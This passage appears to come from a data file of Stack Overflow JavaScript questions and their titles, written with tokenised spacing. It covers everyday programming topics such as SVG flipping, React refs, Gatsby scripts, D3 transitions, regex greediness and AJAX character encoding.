72 Z '' fill= '' lightgray '' > < /path > < path class= '' stroke6 '' d= '' M 444 320 Q 419 262 385 208 Q 364 180 381 144 Q 388 128 409 139 Q 460 181 468 264 Q 472 295 467 319 Q 463 328 456 328 Q 449 327 444 320 Z '' fill= '' lightgray '' > < /path > < path class= '' stroke7 '' d= '' M 738 307 Q 789 249 847 168 Q 860 146 876 139 Q 885 138 893 146 Q 908 159 900 204 Q 891 264 743 338 Q 734 345 731 332 Q 728 319 738 307 Z '' fill= '' lightgray '' > < /path > < /g > < /svg > < svg version= '' 1.1 '' viewBox= '' 0 0 1024 1024 '' xmlns= '' http : //www.w3.org/2000/svg '' > < g stroke= '' lightgray '' stroke-dasharray= '' 1,1 '' stroke-width= '' 1 '' transform= '' scale ( 4 , 4 ) '' > < line x1= '' 0 '' y1= '' 0 '' x2= '' 256 '' y2= '' 256 '' > < /line > < line x1= '' 256 '' y1= '' 0 '' x2= '' 0 '' y2= '' 256 '' > < /line > < line x1= '' 128 '' y1= '' 0 '' x2= '' 128 '' y2= '' 256 '' > < /line > < line x1= '' 0 '' y1= '' 128 '' x2= '' 256 '' y2= '' 128 '' > < /line > < /g > < g transform= '' scale ( 1 , -1 ) translate ( 0 , -900 ) '' > < style > .stroke1 { fill : # BF0909 ; } .stroke2 { fill : # BFBF09 ; } .stroke3 { fill : # 09BF09 ; } .stroke4 { fill : # 09BFBF ; } .stroke5 { fill : # 0909BF ; } .stroke6 { fill : # BF09BF ; } .stroke7 { fill : # BFBFBF ; } .stroke8 { fill : # 090909 ; } text { font-family : Helvetica ; font-size : 80px ; fill : # FFFFFF ; paint-order : stroke ; stroke : # 000000 ; stroke-width : 4px ; stroke-linecap : butt ; stroke-linejoin : miter ; font-weight : 800 ; } < /style > < path class= '' stroke1 '' d= '' M 272 567 Q 306 613 342 669 Q 370 718 395 743 Q 405 753 400 769 Q 396 782 365 808 Q 337 827 316 828 Q 297 827 305 802 Q 318 769 306 741 Q 267 647 207 560 Q 150 476 72 385 Q 60 375 58 367 Q 54 355 70 358 Q 82 359 109 384 Q 155 421 213 493 Q 226 509 241 527 L 272 567 Z '' fill= '' # BF0909 '' > < /path > < path class= '' stroke2 '' d= '' M 241 527 Q 262 506 258 375 Q 258 374 258 370 Q 254 253 221 135 Q 215 114 224 80 Q 236 44 248 32 Q 267 16 279 44 Q 294 86 294 134 Q 303 420 314 485 Q 321 515 295 543 Q 289 549 272 567 C 251 589 227 553 241 527 Z '' fill= '' lightgray '' > < /path > < path class= '' stroke3 '' d= '' M 521 560 Q 561 621 602 708 Q 620 751 638 773 Q 645 786 639 799 Q 633 811 602 830 Q 572 846 554 843 Q 535 839 546 817 Q 561 795 552 757 Q 513 619 407 448 Q 398 436 397 430 Q 394 418 409 423 Q 439 432 503 532 L 521 560 Z '' fill= '' lightgray '' > < /path > < path class= '' stroke4 '' d= '' M 503 532 Q 527 510 555 520 Q 795 608 782 549 Q 783 543 743 468 Q 736 458 741 453 Q 745 447 756 459 Q 852 532 894 549 Q 904 552 905 561 Q 906 574 876 592 Q 852 605 828 621 Q 800 637 783 630 Q 686 590 521 560 C 492 555 479 550 503 532 Z '' fill= '' lightgray '' > < /path > < path class= '' stroke5 '' d= '' M 568 72 Q 531 81 494 91 Q 482 94 483 86 Q 484 79 494 71 Q 569 7 596 -33 Q 611 -49 626 -36 Q 659 -3 661 82 Q 655 149 655 345 Q 656 382 667 407 Q 676 426 659 439 Q 634 461 604 470 Q 585 477 577 469 Q 571 462 582 447 Q 619 384 603 127 Q 597 82 589 74 Q 582 67 568 72 Z '' fill= '' lightgray '' > < /path > < path class= '' stroke6 '' d= '' M 444 320 Q 419 262 385 208 Q 364 180 381 144 Q 388 128 409 139 Q 460 181 468 264 Q 472 295 467 319 Q 463 328 456 328 Q 449 327 444 320 Z '' fill= '' lightgray '' > < /path > < path class= '' stroke7 '' d= '' M 738 307 Q 789 249 847 168 Q 860 146 876 139 Q 885 138 893 146 Q 908 159 900 204 Q 891 264 743 338 Q 734 345 731 332 Q 728 319 738 307 Z '' fill= '' lightgray '' > < /path > < text x= '' 317 '' y= '' 812 '' > 1 < /text > < text x= '' 273 '' y= '' 558 '' > 2 < /text > < text x= '' 556 '' y= '' 828 '' > 3 < /text > < text x= '' 513 '' y= '' 532 '' > 4 < /text > < text x= '' 586 '' y= '' 463 '' > 5 < /text > < text x= '' 455 '' y= '' 316 '' > 6 < /text > < text x= '' 742 '' y= '' 326 '' > 7 < /text > < /g > < /svg >","Flip most of an svg image , but not the text within it" "JS : I have a large valid JavaScript file ( utf-8 ) , from which I need to extract all text strings automatically.For simplicity , the file does n't contain any comment blocks in it , only valid ES6 JavaScript code.Once I find an occurrence of ' or `` or ` , I 'm supposed to scan for the end of the text block , is where I got stuck , given all the possible variations , like `` ' '' , ' '' ' , `` \ ' '' , '\ '' ' , ' '' , ` \ `` , etc.Is there a known and/or reusable algorithm for detecting the end of a valid ES6 JavaScript text block ? UPDATE-1 : My JavaScript file is n't just large , I also have to process it as a stream , in chunks , so Regex is absolutely not usable . I did n't want to complicate my question , mentioning joint chunks of code , I will figure that out myself , If I have an algorithm that can work for a single piece of code that 's in memory.UPDATE-2 : I got this working initially , thanks to the many advises given here , but then I got stuck again , because of the Regular Expressions.Examples of Regular Expressions that break any of the text detection techniques suggested so far : Having studied the matter closer , by reading this : How does JavaScript detect regular expressions ? , I 'm afraid that detecting regular expressions in JavaScript is a whole new ball game , worth a separate question , or else it gets too complicated . But I appreciate very much if somebody can point me in the right direction with this issue ... UPDATE-3 : After much research I found with regret that I can not come up with an algorithm that would work in my case , because presence of Regular Expressions makes the task incredibly more complicated than was initially thought . According to the following : When parsing Javascript , what determines the meaning of a slash ? , determining the beginning and end of regular expressions in JavaScript is one of the most complex and convoluted tasks . And without it we can not figure out when symbols ' , ' '' ' and ` are opening a text block or whether they are inside a regular expression . /'// '' //\ ` /",Finding text strings in JavaScript "JS : I am not using an associative array . I 'm using 1d array like this , How can I sort this array ? The result should be , array ( `` 1 , a '' , '' 5 , b '' , '' 2 , c '' , '' 8 , d '' , '' 6 , f '' ) ; array ( `` 1 , a '' , '' 2 , c '' , '' 5 , b '' , '' 6 , f '' , '' 8 , d '' ) ;",How to sort an array in JavaScript "JS : I´m currently trying to move a wider div B horizontally inside an smaller < div > A using two buttons . I found a similar problem using jquery , but doesn´t want to use the library just for this section in the code . Here is the fiddleI want to scroll the visible field of view using a 'left ' and 'right ' button to move the field 100px in either direction without using jquery but with pure Javascript , HTML and CSS . < div id= '' outer-div '' style= '' width:250px ; overflow : hidden ; '' > < div style= '' width:750px ; '' > < div style= '' background-color : orange ; width:250px ; height:100px ; float : left ; '' > < /div > < div style= '' background-color : red ; width:250px ; height:100px ; float : left ; '' > < /div > < div style= '' background-color : blue ; width:250px ; height:100px ; float : left ; '' > < /div > < /div > < /div > < button > left < /button > < button > right < /button >",scroll visible part of overflown div inside smaller div without jquery "JS : I know it is cleaner and nicer to cast types like String ( 1234 ) and Number ( `` 1234 '' ) , but I just tried to benchmark alternative ways of doing the same thing , specifically `` '' + 1234 // - > `` 1234 '' and - - `` 1234 '' // - > 1234.The results were quite surprising ( for me ) . I iterated over each way 100,000,000 times in Chrome . I used this simple code.Number ( `` 1234 '' ) took 2351 ms whereas - - `` 1234 '' took only 748 ms.Similarly for the other way around , String ( 1234 ) took 3701 ms whereas `` '' + 1234 took only 893 ms.The difference is surprisingly huge.My questions are : What makes the explicit casting so much slower than implicit ? My intuition tells me it should be the other way around.Is it a good practice to use implicit casting ? Especially the hacky - - `` 1234 '' ? Are there nicer alternatives ? PS : I just tried the same in Firefox . It was about 500 times slower ( but still the implicit conversion was much faster ) . What is going on ? Is it connected to branch prediction or something similar ? I guess I am benchmarking wrong . var then = Date.now ( ) ; for ( var i = 0 ; i < 100000000 ; ++i ) { var a = - - `` 1234 '' ; } ; console.log ( Date.now ( ) - then ) ;",Why is implicit casting is much faster than explicit in JS ? Is implicit casting a good practice ? "JS : Premise I have a static site which I 'm converting into a gatsby one . I 've used jQuery to do certain DOM manipulation and other triggers like toggling the mobile menu and handling cookies . I want to include this file , main.js in such a way that the JavaScript inside of it gets executed on all the pages.I 've installed jQuery using npm and included it in layout.js usingimport $ from `` jquery '' I 'm not able to achieve the above in a reliable way . Following are the methods that I 've tried without any success.Method 1 Placed the entire code inside of onInitialClientRender in gatsby-browser.jsMethod 2 Copied html.js in the src folder and added the file via the script tag.Method 3 Followed this answer and placed the entire code inside of Method 4 Followed this answer and tried to include the file using react-helmet . The code does execute using this method but only when the site is loaded . If I traverse to other pages , it does n't , even when I come back to the same page.UPDATEFor now , I 've got it working by keeping the method 4 and copying the entire code from main.js in gatsby-browser.js under onRouteUpdate like so : However , I know this is redundant and definitely not the correct way of doing things . < script dangerouslySetInnerHTML= { { __html : ` putYourSciptHereInBackticks ` } } / > const $ = require ( `` jquery '' ) ; exports.onRouteUpdate = ( ) = > { $ ( document ) .ready ( function ( ) { // Code } ) ; }",Proper way to include a .js file in gatsby which executes its code on all the pages "JS : I 'm constructing an element with an unknown number of children using React and I need a reference to each . Consider the following code : I loop through the provided array and save a reference to each element as I go . When the component mounts , I print out a list of the element contents in the order they were added to the array . So far in all of my testing the order has been correct , but I ca n't find any documentation that confirms that this is n't just the most common result of a secret race condition going on in the background.Is the order in which reference functions are called consistent ? The obvious solution here would be to pre-set the array length in componentWillMount and populate it with the index value from this.props.items.map - but for the sake of argument , let 's say that 's not possible in the actual situation I find myself in . class Items extends React.Component { constructor ( ) { super ( ) ; this.itemEls = [ ] ; } render ( ) { return ( < div > { this.props.items.map ( ( item , index ) = > { return < div className= '' item '' key= { index } ref= { ( el ) = > this.itemEls.push ( el ) } > { item } < /div > ; } ) } < /div > ) ; } componentDidMount ( ) { console.log ( this.itemEls.map ( ( el ) = > el.innerHTML ) ) ; } } ReactDOM.render ( < Items items= { [ `` Hello '' , `` World '' , `` Foo '' , `` Bar '' ] } / > , document.getElementById ( 'container ' ) ) ; .item { display : inline-block ; background : # EEE ; border : 1px solid # DDD ; color : # 999 ; padding : 10px ; font-family : sans-serif ; font-weight : bold ; margin : 10px ; border-radius : 5px ; cursor : default ; } < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/react/15.1.0/react.min.js '' > < /script > < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/react/15.1.0/react-dom.min.js '' > < /script > < div id= '' container '' > < /div >",Is React ref Order guaranteed ? "JS : Consider the following : What would you expect the console.log to contain ? I hope you come to one of the two outcomes that I would expect : 4 Scripts and either the two existing or all four script tags shown in the head 's innerHTML ( document.write could as well write to the body , so one could expect the script tags to be injected as children of the body ) .The thing is that , in Chrome and IE11 , the first script tag added via document.write is shown in the head 's innerHTML , but the second is n't , and the DOM query result is 3 Scripts.Could anyone please elaborate ? < ! DOCTYPE HTML > < html lang= '' en-US '' > < head > < meta http-equiv= '' X-UA-Compatible '' content= '' IE=Edge '' > < meta http-equiv= '' content-type '' content= '' text/html ; charset=UTF-8 '' > < script type= '' text/javascript '' src= '' script.js '' > < /script > < script type= '' text/javascript '' > document.write ( ' < script type= '' text/javascript '' src= '' script2.js '' > < /scr'+'ipt > ' ) ; document.write ( ' < script type= '' text/javascript '' src= '' script3.js '' > < /scr'+'ipt > ' ) ; console.log ( document.getElementsByTagName ( `` script '' ) .length + `` Scripts '' ) ; console.log ( document.head.innerHTML ) ; < /script > < /head > < body > < /body > < /html >","What exactly is innerHTML , and how does document.write work ?" "JS : As an experiment with React.js , I am trying to build a chrome extension that uses a content script to inject a input field ( and now a button too ) into certain websites . In this case I am trying to inject it into Twitter . It looks like this : please note that the code puts the button and input below the text , but it will have the same resultThe injection works , but I ca n't actually use the input . I inject the element into tweets on the home page , and when I click on the input to type in it , it triggers the tweet and expands or contracts . This removes the focus from the input rendering it useless . I have tried to call back focus onBlur , and stopPropagation ( ) onClick , but onClick is n't triggered and I 'm not sure how to bring back focus with onBlur . How can I stop losing focus ? If you want to test it yourself , react-with-addons.js came from the starter kit hereEDIT : I tried adding button to the code to see if I could click on that , and I can . I can click on it with out triggering the tweet itself . This means there is something specific to the input box that is causing trouble , or there is something in the button that is blocking propagation of the click . Is there something special triggered when you click on an input field that other elements do n't have that the tweets might have ? EDIT 2 : I have now tried to add stopPropagation to a containing div and increasing it 's z-index , neither of them will stop it . EDIT 3 : I have now tried onMouseDown ( and onMouseUp , and onClick , all at the same time ) with stopPropagation , with no luck . The strange part is I tried isPropagationStopped ( ) afterwards , and it returns true . If this is so then why is Twitter still being triggered ? test_input.jsmanifest.json /** * @ jsx React.DOM */var Test_Input = React.createClass ( { maintain_focus : function ( ) { e.stopPropagation ( ) ; console.log ( `` ===== '' ) ; } , refocus : function ( e ) { e.stopPropagation ( ) ; } , handle_click : function { console.log ( `` clicked '' ) ; } render : function ( ) { return ( < div > < button onclick= { this.handle_click } > < input className= '' new_note_input '' placeholder= '' Note '' onclick= { this.maintain_focus } onBlur= { this.refocus } > < /input > < /div > ) ; } } ) ; var elements_to_append_to = document.getElementsByClassName ( 'content ' ) ; [ ] .forEach.call ( elements_to_append_to , function ( element ) { var container = $ ( `` < span / > '' ) ; $ ( element ) .after ( container ) ; React.renderComponent ( < Test_Input / > , container [ 0 ] ) ; } ) ; { `` name '' : `` Test Input '' , `` version '' : `` 0.1 '' , `` manifest_version '' : 2 , `` permissions '' : [ `` tabs '' , `` bookmarks '' , `` declarativeWebRequest '' , `` * : //*/* '' ] , `` content_scripts '' : [ { `` matches '' : [ `` https : //twitter.com/* '' ] , `` css '' : [ `` src/social_notes.css '' ] , `` js '' : [ `` build/jquery-2.1.0.min.js '' , `` build/react-with-addons.js '' , `` build/test_input.js '' ] } ] }",Can I stop a click from triggering website 's usual actions ? "JS : For example I have a transition : At some moment I need to know where some of the elements lands to , e.g.Is there built-in feature like this in D3 ? Otherwise I will have to write my own wrapper over d3.transition ( ) .attr ( ) method for storing values passed to it.EditI 've found out that D3 creates __transition__ field on elements , which seems to contain info regarding the transition , but I see no way to find a target attribute value there . var sel = container.selectAll ( 'div ' ) .transition ( ) .duration ( 1000 ) .attr ( 'transform ' , 'translate ( 100,500 ) ' ) ; setTimeout ( ( ) = > { var value = d3.select ( 'div # target ' ) .expectedAttr ( 'transform ' ) ; assertEqual ( value , 'translate ( 100,500 ) ' ) ; } , 500 ) ;",Getting expected attribute value in D3 transition "JS : I 'd like to parse some JavasScript code to list all methods for a given `` class '' using uglify js 2 . In my case the TreeWalker returns a node with name : null and there is no information that allow conclusions to parent.Does anyone know a different approach ? I expected something like name : `` Test.method_name '' So far I tryied the folowing ... parsetests.jstest.jsUglifyJS.TreeWalker node : var UglifyJS = require ( `` uglify-js2 '' ) ; var util = require ( `` util '' ) ; var code = require ( `` fs '' ) .readFileSync ( `` test.js '' ) .toString ( ) ; var toplevel = UglifyJS.parse ( code ) ; var log = function ( obj , depth ) { console.log ( util.inspect ( obj , showHidden=false , depth , colorize=true ) ) ; } ; var toplevel = UglifyJS.parse ( code ) ; var walker = new UglifyJS.TreeWalker ( function ( node ) { if ( node instanceof UglifyJS.AST_Function ) { log ( node , 2 ) ; } } ) ; toplevel.walk ( walker ) ; function Test ( argument1 ) { var m = argument1 + `` test '' ; return this ; } Test.prototype.method_name = function ( first_argument ) { // body ... return `` a '' ; } ; { end : { file : null , comments_before : [ ] , nlb : true , endpos : 156 , pos : 155 , col : 0 , line : 10 , value : ' } ' , type : 'punc ' } , start : { file : null , comments_before : [ ] , nlb : false , endpos : 111 , pos : 103 , col : 29 , line : 7 , value : 'function ' , type : 'keyword ' } , body : [ { end : [ Object ] , start : [ Object ] , value : [ Object ] } ] , cname : undefined , enclosed : undefined , parent_scope : undefined , uses_eval : undefined , uses_with : undefined , functions : undefined , variables : undefined , directives : undefined , uses_arguments : undefined , argnames : [ { end : [ Object ] , start : [ Object ] , thedef : undefined , name : 'first_argument ' , scope : undefined , init : undefined } ] , name : null }",How to parse and iterate prototype methods with Uglify.js ? "JS : Can someone explain this one to me : http : //jsperf.com/string-concatenation-1/2If you 're lazy , I tested A ) vs B ) : A ) B ) Where items for both tests is the same 500-element array of strings , with each string being random and between 100 and 400 characters in length.A ) ends up being 10x faster . How can this be -- I always thought concatenating using join ( `` '' ) was an optimization trick . Is there something flawed with my tests ? var innerHTML = `` '' ; items.forEach ( function ( item ) { innerHTML += item ; } ) ; var innerHTML = items.join ( `` '' ) ;",JavaScript string concatenation speed "JS : I 'm using this google map angular component tutorial and it 's working pretty good ! BUT opening up an info window throws an exception.Here is my code that calls `` this.infoWindow.open '' method on a `` MapInfoWindow '' component from the npm package.WheninfoWindow.open ( marker ) is called it entersgoogle-maps.js // line 1122but receives an error on line 1122 , because there is no `` getAnchor ( ) '' methodI looked through the google docs and I do n't see any `` getAnchor '' method.Here is what I see in the debugger when setting a breakpoint in my component.Here is what it shows in the debug console when I look at 'marker ' , so it has values and is instantiated ! I can copy and paste the whole thing but it 's long.Here is another pic of debug console , inside google-maps.js file , trying to call the getAnchor ( ) with no luck becasue it does n't exist . import { MapInfoWindow , MapMarker , GoogleMap } from ' @ angular/google-maps ' ; export class YogabandEventsComponent implements OnInit { @ ViewChild ( MapInfoWindow , { static : false } ) infoWindow : MapInfoWindow ; @ ViewChild ( GoogleMap , { static : false } ) googleMap : GoogleMap ; openInfo ( marker : MapMarker , content ) { this.infoContent = content ; this.infoWindow.open ( marker ) ; } } < google-map [ options ] = '' options '' [ zoom ] = '' zoom '' [ center ] = '' center '' class= '' h-100 '' height= '' 100 % '' width= '' 100 % '' > < map-marker # markerElem *ngFor= '' let marker of markers '' ( mapClick ) = '' openInfo ( markerElem , marker.info ) '' [ position ] = '' marker.position '' [ label ] = '' marker.label '' [ title ] = '' marker.title '' [ options ] = '' marker.options '' > < /map-marker > < map-info-window > { { infoContent } } < /map-info-window > < /google-map > this.infoWindow.open ( this._googleMap.googleMap , anchor ? anchor.getAnchor ( ) : undefined ) ; // in google-maps.js open ( anchor ) { this._assertInitialized ( ) ; this._elementRef.nativeElement.style.display = `` ; this.infoWindow.open ( this._googleMap.googleMap , anchor ? anchor.getAnchor ( ) : undefined ) ; // line 1122 }","Google Map Angular9 error with opening info window , getAnchor ( ) is not found" "JS : I have the following two Javascript arrays : I now want a new array array3 that contains only the objects that are n't already in array2 , so : I have tried the following but it returns all objects , and when I changed the condition to === it returns the objects of array2.Any idea ? ES6 welcome const array1 = [ { id : 1 } , { id : 2 } , { id : 3 } , { id : 4 } ] ; const array2 = [ { id : 1 } , { id : 3 } ] ; const array3 = [ { id : 2 } , { id : 4 } ] ; const array3 = array1.filter ( entry1 = > { return array2.some ( entry2 = > entry1.id ! == entry2.id ) ; } ) ;",Compare two Arrays with Objects and create new array with unmatched objects "JS : I have a regex created by myself that I am currently running in PHP . Although when I merge it over to JavaScript , it refuses to work . I have also tried it in Python and it works perfectly fine.Regex : Testing in PHP , and workingTesting in JavaScript , and not working @ [ [ ] ( . [ ^ ] ] + ) [ ] ] [ ( ) ] ( \d+ ) [ ) ]",Why does my regular expression work in PHP but not JavaScript ? "JS : Is it possible to specify jQuery UI position , where X coordinate is relative to element1 and Y coordinate is relative to element2 ? Example 1 : I want to pop-up a dialog , so that it is centered horizontally , but vertically it is centered on some other element.Example 2 : I have two items in my DOM , and I want to postion the third in the outer corner of these two . I know I can pick the position of each of them , and use x from one and y from the other , but it would look so much nicer to do something likeor All attempts so far have been trapped with 'center ' being the default , not allowed to use 'my current position in one direction ' as basis . Any good ideas are very wellcome ! jQuery ( ' # UpperRight ' ) .postion ( { my : 'right top ' , at : 'right ' , of : ' # rightMostItem ' , at : 'top ' , of : ' # topMostItem ' } ) // double parameters do n't work of course jQuery ( ' # UpperRight ' ) .position ( { my : 'right IGNORE ' , at : 'right IGNORE ' , of : ' # rightMostItem ' } ) .postion ( { my : 'IGNORE top ' , at : 'IGNORE top ' , of : ' # topMostItem ' } ) ; // where IGNORE overrides the default center",jQuery UI position relative to two elements "JS : It seems that the undefined is a property of window/global : I always thought that undefined is , like null , a uniqe value in JavaScript.But above code ( tested in Chrome ) make me confused.Can some explain whyevalute to true , whileevaluate to false undefined in window null in window",Is undefined a property of window/global ? "JS : I am sending an AJAX POST request using jQuery on a chrome extension but the data does n't arrive as expected , accented characters turn out malformed.The text `` HÄGERSTEN '' becomes `` HÃ „ GERSTEN '' .The text appears fine in the console etc , only via AJAX to this other page it appears as mentioned . My AJAX call is basic , I send a data-object via jQuery $ .ajax . I 've tried both with and without contentType , UTF-8 and ISO-8859-1 . No difference.This is how I make my AJAX call : The newValues object has more values but I retrieve them from a form . However , I have tried to specify these values manually as newValues [ 'name ' ] = 'ÄÄÄÄ ' ; and still would cause the same problem . The original form element of the page that I am sending the AJAX to contains attribute accept-charset= '' iso-8859-1 '' . Maybe this matters . The target website is using Servlet/2.5 JSP/2.1 . Just incase it might make a difference.I assume this is an encoding issue and as I 've understood it should be because Chrome extensions require the script files to be UTF-8 encoded which probably conflicts with the website the plugin is running on and the target AJAX page ( same website ) which is using an ISO-8859-1 encoding , however I have no idea how to deal with it . I have tried several methods of decoding/encoding it to and from UTF-8 to ISO-8859-1 and other tricks with no success.I have tried using encodeURIComponent on my values which only makes them show that way exactly on the form that displays the values I have sent via POST , as e.g . H % C3 % 84GERSTEN.I have no access to the websites server and can not tell you whether this is a problem from their side , however I would not suppose so.UPDATENow I have understood POST data must be sent as UTF-8 ! So a conversion is not the issue ? var newValues = { name : 'HÄGERSTEN ' } $ .ajax ( { url : POST_URL , type : 'POST ' , data : newValues , success : function ( ) ... } ) ;",Chrome extension ajax sending malformed accented characters "JS : I am using an onCall firebase cloud function to check if a document exists in a collection on the firestore.If the document exists , i want to continue , if it still does not exist , than i want to create it.I have tried many different things , but always got errors , so now i am trying to go step-by-step and simply get the content of a file i know exists on the collection . The collection is called `` timeline_state '' and the document is called `` 888 '' When i call it from my code i get an empty data object , and in the Firebase functions log i see the function runs but i get an error : Any ideas on what i am doing wrong , and maybe how i can fix it ? Thanks ! const functions = require ( 'firebase-functions ' ) ; const admin = require ( 'firebase-admin ' ) ; admin.initializeApp ( functions.config ( ) .firebase ) ; exports.afterLogin = functions.https.onCall ( ( data , context ) = > { console.log ( `` afterLogin STARTING '' ) ; const getDocument = admin.firestore ( ) .collection ( 'timeline_state ' ) .doc ( '888 ' ) .get ( ) ; return getDocument.then ( doc = > { console.log ( doc ) ; return doc } ) .catch ( error = > { console.log ( error ) return error ; } ) } ) /user_code/node_modules/firebase-admin/node_modules/gaxios/build/src/index.js:28async function request ( opts ) { ^^^^^^^^SyntaxError : Unexpected token function at createScript ( vm.js:56:10 ) at Object.runInThisContext ( vm.js:97:10 ) at Module._compile ( module.js:549:28 ) at Object.Module._extensions..js ( module.js:586:10 ) at Module.load ( module.js:494:32 ) at tryModuleLoad ( module.js:453:12 ) at Function.Module._load ( module.js:445:3 ) at Module.require ( module.js:504:17 ) at require ( internal/module.js:20:19 ) at Object. < anonymous > ( /user_code/node_modules/firebase-admin/node_modules/gcp-metadata/build/src/index.js:17:18 )",Read document in Firestore from firebase onCall cloud function JS : I have one registration form in my site in which I am saving fields and after saving the form when user again come back to that registration form I want previous field values to be saved in browser auto-fill.below is my code snippet - In this code onClick of anchor tag I am doing ajax call via signup user function.and after that i want that users data to be auto filled in browsers autofill address in chrome.I have tried below ways : - 1.Few people suggested to use form `` submit '' button functionality to save data in autofill rather than having ajax call form anchor tag onClick event.but that is also not working in my case.2.I have gone through few post in which they told to use proper name and autocomplete attribute for field . but by using that browser can only guess proper field values . < form class= '' clearfix '' > < input autocomplete= '' given-name '' name= '' firstName '' type= '' text '' placeholder= '' Enter First Name '' class= '' form-control '' value= '' '' > < input autocomplete= '' family-name '' name= '' lastName '' type= '' text '' placeholder= '' Enter Last Name '' class= '' form-control '' value= '' '' > < input autocomplete= '' email '' name= '' email '' type= '' text '' placeholder= '' Enter Email '' class= '' form-control '' value= '' '' > < input autocomplete= '' tel '' name= '' phoneNumber '' type= '' text '' placeholder= '' Enter Number '' class= '' form-control contactMask '' value= '' '' > < input autocomplete= '' address-line1 '' name= '' addressLine1 '' type= '' text '' placeholder= '' Street 1 '' class= '' form-control '' > < input autocomplete= '' address-line2 '' name= '' addressLine2 '' type= '' text '' placeholder= '' Street 2 '' class= '' form-control '' value= '' '' > < a href= '' javascript : void ( 0 ) ; '' className= '' btn baseBtn primeBtn '' onClick= { this.signupUser } > Sign Up < /a > < /form >,"On registration form , form fields are not getting saved in browser auto fill on submit . ( ReactJs )" "JS : I am learning about js DOM and I want to make a recursive function that I could use to go through all nodes in any DOM . I made it , but I can not figure out why my first attempt is not working : HTMLThe flow is next : document node.we repeat the function with his first child : head node.we repeat the function with his first child : meta node.because of 'meta ' has no childs , we repeat the function with his nextsibling : title node.because of 'title ' has no childs or next sibling , we end thefunction where node=title , we should end the function where node =meta , and we should continue checking the next sibling of head : body node.Instead of that , if you debug or check the console you will see that browser repeats the section : Where node = meta , and so we get two 'TITLE ' printed on console . Then it goes as it should have gone , and we get the 'body ' node . The same problem happens with the 'LI ' element.So , I do not want another solution , I just did it , I just want to know why I go back to that 'if ' , because I do n't get it . If you debug it on developer tools it would be easier to understand . function mostrarNodosV2 ( node ) { console.log ( node.nodeName ) ; if ( node.firstElementChild ! = null ) { node = node.firstElementChild ; mostrarNodosV2 ( node ) ; } if ( node.nextElementSibling ! = null ) { node = node.nextElementSibling ; mostrarNodosV2 ( node ) ; } } mostrarNodosV2 ( document ) ; < ! DOCTYPE html > < html > < head > < meta charset= '' UTF-8 '' > < title > Exercise IV < /title > < /head > < body > < h1 > Just a header < /h1 > < p > Nice paragraph < /p > < ul > < li > Im just an element list on an unordered list < /li > < /ul > < /body > < /html > if ( node.nextElementSibling ! = null ) { node = node.nextElementSibling ; mostrarNodosV2 ( node ) ; }",Recursive function for going through unknown DOM "JS : There was this question which made me realise that greediness of quantifiers is not always the same in certain regex engines . Taking the regex from that question and modifying it a bit : ( I know that * is redundant here , but I found what 's following to be quite an interesting behaviour ) .And if we try to match against : I expected to get the first capture group to be empty , because ( .* ? ) is lazy and will stop at the first ] it comes across . This is indeed what happens in : PCREPythonbut not Javascript where it matches the whole ] [ ] [ . ( jsfiddle ) I looked around with some other languages , for instance ruby , java , C # but all behave like I expected them to ( i.e . return empty capture groups ) . ( regexplanet 's golang flavour apparently also gets non-empty capture groups ) It seems that JavaScript 's regex engine is interpreting the second * to convert .* ? from lazy to greedy . Note that converting the second * to * ? seems to make the regex work as I expected ( as does removing the quantifier completely , because I know that it 's being redundant in this situation , but that 's not the point ) . * was used in the regex , but this behaviour is similar with + , ? or { m , n } and converting them to their lazy version gives the same results as with * ? .Does anyone know what 's really happening ? ! \ [ ( .* ? ) *\ ] ! [ ] [ ] [ ]",Greediness behaving differently in JavaScript ? "JS : If numbers are primitive types , why I can do : Is the parenthesis converting the primitive type to a Number ? > ( 12345 ) .toString ( ) '' 12345 ''",JavaScript parentheses converts primitive type to object "JS : In my page I have two tables of same width , and them both do horizontal scroll . I need to set both tables to the same position when each one scrolls.Actually , my code is : It works . The problem is that there are situations where the loaded data is big enough to slow the browser and the scroll event.Then , I 'm trying to improve the user experience in those situations.I did this snippet where I try to use the __defineSetter__ function of Object : But as you can see running the snippet , it sets undefined to elementA.scrollLeft and NaN to elementB.scrollLeft.I 'd like some guidance here , thanks for your time . var scrollA = $ ( ' # scrollA ' ) , scrollB = $ ( ' # scrollB ' ) ; scrollA.on ( 'scroll ' , function ( ) { scrollB [ 0 ] .scrollLeft = scrollA [ 0 ] .scrollLeft ; } ) ; var elementA = { scrollLeft : 30 } , elementB = { scrollLeft : 30 } ; elementA.__defineSetter__ ( 'scrollLeft ' , val = > elementB.scrollLeft = val ) ; elementA.scrollLeft += 5 ; console.log ( elementA.scrollLeft + ' == ' + elementB.scrollLeft ) ;",How to properly set scrollLeft in two objects using defineSetter ? "JS : I have set up a base class as standard : Next I set up another class that inherits MyBaseBut then ( and this is the bit I dont know how to do ) I want to override MyBase 's MySuperFunction with a better one , but calling the base class function in the process : Its a child class that wants to override is base class function , but wants to call the base class function in the new improved definition.Is this possible , and if so , how can it be done ? MyBase = function ( ) { this.m_Stuff = 0 ; // etc } ; MyBase.prototype.MySuperFunction = function ( arg1 ) { alert ( `` Hello '' + arg1 ) ; } ; MyChild = function ( ) { MyBase.call ( this ) ; this.m_OtherStuff = 1 ; // etc } ; MyChild.prototype = new MyBase ( ) ; // innherit MyChild.prototype.MySuperFunction = function ( arg1 , arg2 ) { MyBase.MySuperFunction ( arg1 ) ; // THIS LINE IS THE LINE I DONT KNOW HOW TO DO alert ( `` You is a `` + arg2 + `` 'th level idiot '' ) ; } ;",Javascript Class Inheritance For Functions "JS : I am encountering a weird problem here , I have a div having an click event attached to it , and a input having on-blur event and button having click event attached to it.Here are the functions that gets called when buttons are clicked.The problem that I am encountering here is that , if I click inside the input box then it is logging what is inside the div function , I tried event.stopPropagation ( ) , but it does n't seem to work is there any way to make it work ? i.e - not logging what is inside div on clicking the input.Here is a Bin for the same . < ! DOCTYPE html > < html > < head > < meta charset= '' utf-8 '' > < meta name= '' viewport '' content= '' width=device-width '' > < title > JS Bin < /title > < /head > < body > < div onClick='div ( ) ' > < input onBlur='input ( ) ' / > < button onClick='button ( event ) ' > ABCD < /button > < /div > < /body > < /html > function input ( event ) { console.log ( 'input ' ) event.stopPropagation ( ) ; } function button ( event ) { console.log ( 'button ' ) event.stopPropagation ( ) ; } function div ( ) { console.log ( 'div ' ) }",Stop event propagation by clicking inside input element "JS : I 'm trying to define the global object in JavaScript in a single line as follows : The above statement is in the global scope . Hence in browsers the this pointer is an alias for the window object . Assuming that it 's the first line of JavaScript to be executed in the context of the current web page , the value of global will always be the same as that of the this 